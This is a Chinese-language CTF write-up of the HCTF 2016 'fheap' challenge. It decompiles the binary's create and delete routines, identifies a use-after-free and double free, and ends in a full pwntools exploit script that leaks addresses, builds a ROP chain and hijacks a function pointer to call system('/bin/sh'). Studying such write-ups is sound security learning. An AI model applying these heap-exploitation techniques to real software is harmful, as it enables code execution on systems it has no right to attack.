0%

hctf2016-fheap

hctf2016 fheap

0x0 源程序分析

这个程序有Create, delete这两个主要操作.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned __int64 creatStr()
{
signed int i; // [rsp+4h] [rbp-102Ch]
char *ptr; // [rsp+8h] [rbp-1028h]
char *dest; // [rsp+10h] [rbp-1020h]
size_t nbytes; // [rsp+18h] [rbp-1018h]
size_t nbytesa; // [rsp+18h] [rbp-1018h]
char buf; // [rsp+20h] [rbp-1010h]
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]

v7 = __readfsqword(0x28u);
ptr = (char *)malloc(0x20uLL);
printf("Pls give string size:");
nbytes = getInt();
if ( nbytes <= 0x1000 )
{
printf("str:");
if ( read(0, &buf, nbytes) == -1 )
{
puts("got elf!!");
exit(1);
}
nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
dest = (char *)malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = freeLong;
}
else
{
strncpy(ptr, &buf, nbytesa);
*((_QWORD *)ptr + 3) = freeShort;
}
*((_DWORD *)ptr + 4) = nbytesa;
for ( i = 0; i <= 15; ++i )
{
if ( !*((_DWORD *)&Strings + 4 * i) )
{
*((_DWORD *)&Strings + 4 * i) = 1;
*((_QWORD *)&Strings + 2 * i + 1) = ptr;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
(*((void (__fastcall **)(char *))ptr + 3))(ptr);
}
}
else
{
puts("Invalid size");
free(ptr);
}
return __readfsqword(0x28u) ^ v7;
}

可以看到这里是先申请一个0x20大小的内存, 来存结构体.
其中结构体0x18偏移处是free的函数指针.
然后有一个content, 如果size<15的话, 就用结构体里的内存,="" 否则就再malloc一块出来.="" delete函数.=""

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 deleteStr()
{
int v1; // [rsp+Ch] [rbp-114h]
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Pls give me the string id you want to delete\nid:");
v1 = getInt();
if ( v1 < 0 || v1 > 16 )
puts("Invalid id");
if ( *((_QWORD *)&Strings + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&Strings + 2 * v1 + 1) + 24LL))(
*((_QWORD *)&Strings + 2 * v1 + 1),
"yes");
*((_DWORD *)&Strings + 4 * v1) = 0;
}
}
return __readfsqword(0x28u) ^ v3;
}

这里存在double free 和uaf漏洞.

利用

我们在Create的时候, Create 0x4(不同于0x20)两次, 然后再次Create(0x20)的时候, 0的content其实是原来1的结构体内容, 这时候可以通过改0的content内容来修改1结构体的函数指针.
freeLong、freeShort的后三位地址是d46, d2b, call puts的地址是d0b, 这时候我们可以off by one, 修改最后一个字节的值, 这样, 我们得到了textAddr.
仔细看一下这个delete函数, 这里的buf可以读0x100, 是很多的, 如果我们把函数指针改成pop … ret, 是可以利用栈上的内容构造rop链的, 这样我们可以得到libc的地址, 然后再将函数指针改成system函数, 输入/bin/sh; 然后对齐一下就好了.
一种新的构造rop链的方法, 学到了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# gdb.attach(sh)
# context.log_level = 'debug'

def Write(Until, Text):
sh.recvuntil(Until)
sh.send(Text)
sleep(0.1)

def Create(Size, Text):
Write('3.quit', 'create ')
Write('Pls give string size:', str(Size) + '\n')
Write('str:', Text)

def Delete(Id, Text):
Write('3.quit', 'delete ')
Write('Pls give me the string id you want to delete\nid:', str(Id) + '\n')
Write('Are you sure?:', Text)

Create(4, 'a\x00') # 0
Create(4, 'b\x00') # 1
Delete(1, 'yes')
Delete(0, 'yes')

Create(0x20, 'a' * 0x18 + '\x0b' + '\x00')
Delete(1, 'yes')
sh.recvuntil('a' * 0x18)

textAddr = u64(sh.recvuntil('\x0a')[0:-1].ljust(8, '\x00')) - 0xd0b
log.success('textAddr: ' + hex(textAddr))

Create(4, 'c\x00') # 1
Create(4, 'd\x00') # 2
Delete(2, 'yes')
Delete(1, 'yes')
Create(0x20, 'a' * 0x18 + p64(textAddr + 0x11cc))

pop_rdi_addr = 0x11d3 + textAddr
puts_got_addr = textAddr + elf.got['puts']
puts_plt_addr = textAddr + elf.plt['puts']
start_addr = textAddr + 0xa10

payload = 'yesaaaaa' + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr)
Delete(2, payload + '\x00')
libcbase = u64(sh.recvuntil('\n')[0:-1].ljust(8, '\x00')) - 0x11d5b - 0x5d935
log.success('libcbase: ' + hex(libcbase))

system_addr = libcbase + libc.symbols['system']
Create(4, 'e\x00')
Create(4, 'f\x00')
Delete(3, 'yes')
Delete(2, 'yes')

payload = '/bin/sh;' + 'a' * (0x18 - len('/bin/sh;')) + p64(system_addr)
Create(0x20, payload)
Delete(3, 'yes')


sh.interactive()